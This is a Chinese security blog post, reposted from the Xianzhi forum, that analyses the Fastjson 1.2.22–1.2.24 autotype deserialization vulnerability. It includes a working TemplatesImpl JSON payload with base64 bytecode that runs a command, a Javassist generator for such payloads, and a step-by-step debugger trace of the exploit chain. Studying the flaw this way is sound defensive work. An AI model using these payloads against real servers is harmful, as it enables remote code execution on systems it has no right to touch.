Java安全之Fastjson反序列化漏洞分析


Java安全之Fastjson反序列化漏洞分析

首發:先知論壇

0x00 前言

在前面的RMI和JNDI注入學習里面為本次的Fastjson打了一個比較好的基礎。利於后面的漏洞分析。

0x01 Fastjson使用

在分析漏洞前,還需要學習一些Fastjson庫的簡單使用。

Fastjson概述

FastJson是啊里巴巴的的開源庫,用於對JSON格式的數據進行解析和打包。其實簡單的來說就是處理json格式的數據的。例如將json轉換成一個類。或者是將一個類轉換成一段json數據。在我前面的學習系列文章中其實有用到jackson。其作用和Fastjson差不多,都是處理json數據。可參考該篇文章:Java學習之jackson篇。其實在jackson里面也是存在反序列化漏洞的,這個后面去分析,這里不做贅述。

Fastjson使用

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject類型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class類

Fastjson序列化

代碼實例:

定義一個實體類

package com.fastjson.demo;

public class User {
    private String name;
    private int age;

    public User() {
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

定義一個test類:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
        System.out.println(s);


    }
}

運行后結果為:

{"age":18,"name":"xiaoming"}

這是一段標准模式下的序列化成JSON的代碼,下面來看另一段。

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
//        String s = JSON.toJSONString(user);
//        System.out.println(s);

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        
        System.out.println(s1);
    }
}

執行結果:

{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}

在和前面代碼做對比后,可以發現其實就是在調用toJSONString方法的時候,參數里面多了一個SerializerFeature.WriteClassName方法。傳入SerializerFeature.WriteClassName可以使得Fastjson支持自省,開啟自省后序列化成JSON的數據就會多一個@type,這個是代表對象類型的JSON文本。FastJson的漏洞就是他的這一個功能去產生的,在對該JSON數據進行反序列化的時候,會去調用指定類中對於的get/set/is方法, 后面會詳細分析。

Fastjson反序列化

代碼實例:

方式一:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
//        System.out.println(s);
        User user1 = JSON.parseObject(s, User.class);
        System.out.println(user1);
    }
}

方式二:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");



        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        JSONObject jsonObject = JSON.parseObject(s1);
        System.out.println(jsonObject);

        
    }
}

這種方式返回的是一個JSONObject的對象

方式三:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        User user1 = JSON.parseObject(s1,User.class);
        System.out.println(user1);

    }
}

執行結果都是一樣的

User{name='xiaoming', age=18}

這三段代碼中,可以發現用了JSON.parseObjectJSON.parse這兩個方法,JSON.parseObject方法中沒指定對象,返回的則是JSONObject的對象。JSON.parseObjectJSON.parse這兩個方法差不多,JSON.parseObject的底層調用的還是JSON.parse方法,只是在JSON.parse的基礎上做了一個封裝。

在序列化時,FastJson會調用成員對應的get方法,被private修飾且沒有get方法的成員不會被序列化,

而反序列化的時候在,會調用了指定類的全部的setterpublibc修飾的成員全部賦值。可以在實體類的get、set方法中加入打印內容,可自行測試一下。

0x02 Fastjson反序列化漏洞復現

漏洞是利用fastjson autotype在處理json對象的時候,未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,並調用危險類連接遠程rmi主機,通過其中的惡意類執行代碼。攻擊者通過這種方式可以實現遠程代碼執行漏洞的利用,獲取服務器的敏感信息泄露,甚至可以利用此漏洞進一步對服務器數據進行修改,增加,刪除等操作,對服務器造成巨大的影響。

漏洞攻擊方式

在Fastjson這個反序列化漏洞中是使用TemplatesImplJdbcRowSetImpl構造惡意代碼實現命令執行,TemplatesImpl這個類,想必前面調試過這么多鏈后,對該類也是比較熟悉。他的內部使用的是類加載器,去進行new一個對象,這時候定義的惡意代碼在靜態代碼塊中,就會被執行。再來說說后者JdbcRowSetImpl是需要利用到前面學習的JNDI注入來實現攻擊的。

漏洞復現

漏洞版本:fastjson 1.22-1.24

利用鏈:TemplatesImpl

這里做一個簡單的demo

構造惡意類:

package nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fj_poc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

執行成功,_bytecodes對應的數據里面可以看到是Base64編碼的數據,這數據其實是下面這段代碼,編譯后進行base64加密后的數據。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

但是在使用運用中個人覺得更傾向於這個poc

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

}

使用Javassist動態生成惡意類放到_bytecodes中。這里發現幾個問題,

  1. 如果是只對_bytecodes插入惡意代碼為什么需要構造這么多的值。
  2. _bytecodes中的值為什么需要進行Base64加密。
  3. 在反序列化的時候為什么要加入Feature.SupportNonPublicField參數值。
  • @type :用於存放反序列化時的目標類型,這里指定的是TemplatesImpl這個類,Fastjson會按照這個類反序列化得到實例,因為調用了getOutputProperties方法,實例化了傳入的bytecodes類,導致命令執行。需要注意的是,Fastjson默認只會反序列化public修飾的屬性,outputProperties和_bytecodes由private修飾,必須加入Feature.SupportNonPublicField 在parseObject中才能觸發;

  • _bytecodes:繼承AbstractTranslet 類的惡意類字節碼,並且使用Base64編碼

  • _name:調用getTransletInstance 時會判斷其是否為null,為null直接return,不會往下進行執行,利用鏈就斷了,可參考cc2和cc4鏈。

  • _tfactory:defineTransletClasses 中會調用其getExternalExtensionsMap 方法,為null會出現異常,但在前面分析jdk7u21鏈的時候,部分jdk並未發現該方法。

  • outputProperties:漏洞利用時的關鍵參數,由於Fastjson反序列化過程中會調用其getOutputProperties 方法,導致bytecodes字節碼成功實例化,造成命令執行。

前面說到的之所以加入Feature.SupportNonPublicField才能觸發是因為Feature.SupportNonPublicField的作用是支持反序列化使用非public修飾符保護的屬性,在Fastjson中序列化private屬性。

來查看一下TemplatesImpl

這里可以看到這幾個成員變量都是private進行修飾的。不使用Feature.SupportNonPublicField參數則無法反序列化成功,無法進行利用。

由此可見Fastjson中使用TemplatesImpl鏈的條件比較苛刻,因為在Fastjson中需要加入Feature.SupportNonPublicField,而這種方式並不多見。

0x03 Fastjson TemplatesImpl鏈 反序列化漏洞分析

下斷點開始跟蹤漏洞

public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
    }

這里有幾個參數傳入,並直接調用了parseObject的重載方法。

幾個參數分別是input、clazz、config、features。

input傳遞進來的是需要反序列化的數據,這里即是我們的payload數據。

clazz為指定的對象,這里是Object.class對象

config則是ParserConfig的實例對象

features參數為反序列化反序列化private屬性所用到的一個參數。

實例化了一個DefaultJSONParser,並調用parseObject方法,跟蹤parseObject

調用derializer.deserialze方法進行跟蹤。

來看到這一段代碼,這里是個三目運算,type是否為Class對象並且type不等於 Object.class,type不等於

Serializable.class條件為true調用parser.parseObject,條件為flase調用parser.parse。很顯然這里會調用parser.parse方法。繼續跟蹤。

這里將this.lexer的值,賦值給lexer,而這個this.lexer是在實例化DefaultJSONParser 對象的時候被賦值的。回看我們代碼中的DefaultJSONParser 被創建的時候。

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

調用重載方法

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

這里面去調用 lexer.getCurrent()跟蹤代碼發現就是從lexer返回ch的值。而下面的這段代碼

int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

調用lexer.getCurrent(),獲取到是ch中數據如果為{就將lexer.token設置為12,如果為[設置 lexer.token設置為14。

調用lexer.getCurrent(),獲取當前字符這里獲取到的是雙引號。lexer這個是JSONScanner實例化對象,里面存儲了前面傳入的Json數據,但是這里疑問又來了,既然是Json的數據,那么前面的{去哪了呢?為什么這里獲取到的不是這個{花括號。

還記得我們前面加載DefaultJSONParser重載方法的時候new JSONScanner(),跟蹤查看他的構造方法就知道了

public JSONScanner(String input, int features) {
        super(features);
        this.text = input;
        this.len = this.text.length();
        this.bp = -1;
        this.next();
        if (this.ch == '\ufeff') {
            this.next();
        }

    }

構造方法里面調用了this.next();

public final char next() {
        int index = ++this.bp;
        return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
    }

返回com.alibaba.fastjson.parser.DefaultJSONParser#parse進行跟蹤代碼。

public Object parse(Object fieldName) {
        JSONLexer lexer = this.lexer;
        switch(lexer.token()) {
        case 1:
        case 5:
        case 10:
        case 11:
        case 13:
        case 15:
        case 16:
        case 17:
        case 18:
        case 19:
        ...
        case 12:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return this.parseObject((Map)object, fieldName);

通過剛剛的分析得知這里的lexer.token()等於12會走到 case 12:這里

調用this.parseObject繼續跟蹤

這里可以看到獲取下一個字符是否為雙引號,而后去調用lexer.scanSymbol方法進行提取對應內容數據。

查看一下參數this.symbolTable

這里則是提取了@type

接着走到這個地方

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
   

判斷key是否等於@type,等於則獲取@type中的值,接着則是調用反射將這個類名傳遞進去獲取一個方法獲取類對象。

下面走到這段代碼

 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
 thisObj = deserializer.deserialze(this, clazz, fieldName);

跟蹤,加載兩次重載來到這里

上面的代碼中直接就獲取到了outputProperties跟蹤一下,sortedFieldDeserializers.fieldInfo是怎么被賦值的。

查看發現是在構造方法被賦值的,也就是實例化對象的時候

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
    this.clazz = beanInfo.clazz;
    this.beanInfo = beanInfo;
    this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
    int i = 0;

    int size;
    FieldInfo fieldInfo;
    FieldDeserializer fieldDeserializer;
    for(size = beanInfo.sortedFields.length; i < size; ++i) {
        fieldInfo = beanInfo.sortedFields[i];
        fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
        this.sortedFieldDeserializers[i] = fieldDeserializer;
    }

返回上層,JavaBeanDeserializer是在this.config.getDeserializer被創建的,跟進一下

return this.getDeserializer((Class)type, type);

derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);

boolean match = this.parseField(parser, key, object, type, fieldValues);

接着來到了com.alibaba.fastjson.util.JavaBeanInfo#build

下面有幾個關鍵代碼

在通過@type獲取類之后,通過反射拿到該類所有的方法存入methods,接下來遍歷methods進而獲取get、set方法

set的查找方式:

  1. 方法名長度大於4
  2. 非靜態方法
  3. 返回值為void或當前類
  4. 方法名以set開頭
  5. 參數個數為1

get的查找方式:

  1. 方法名長度大於等於4
  2. 非靜態方法
  3. 以get開頭且第4個字母為大寫
  4. 無傳入參數
  5. 返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong

這樣一來就獲取到了TemplatesImplgetOutputProperties()

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze繼續調試跟蹤

前面都是重復的內容,遍歷去獲取json中的內容。

直接定位到這一步進行跟蹤

替換_字符為空

執行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField來到這一步

進行反射調用執行TemplatesImplgetOutputProperties()方法。

接着則來到了這里

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
    _indentNumber, _tfactory);

到了這里其實也就不用跟了,和前面的JDK7u21后半段的鏈是一樣的。

在這命令就執行成功了,但是我們還有一個遺留下來的問題沒有解答,就是_bytecodes為什么需要進行base64編碼的問題,也是分析的時候跟蹤漏了。

返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject查看

在解析byte數據的時候回去調用this.lexer.bytesValue();,跟蹤就會看見會調用IOUtils.decodeBase64進行base64解密

貼出調用鏈

0x04 結尾

看到網上部分分析文章,分析漏洞只分析了幾個點。直接就在某個地方下斷點,然后跳到某一個關鍵位置的點進行分析,很多數據的流向都不清楚是怎么來的。所以漏洞的一些細節都沒去進行了解過,所以漏洞真的分析清楚了嘛?


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM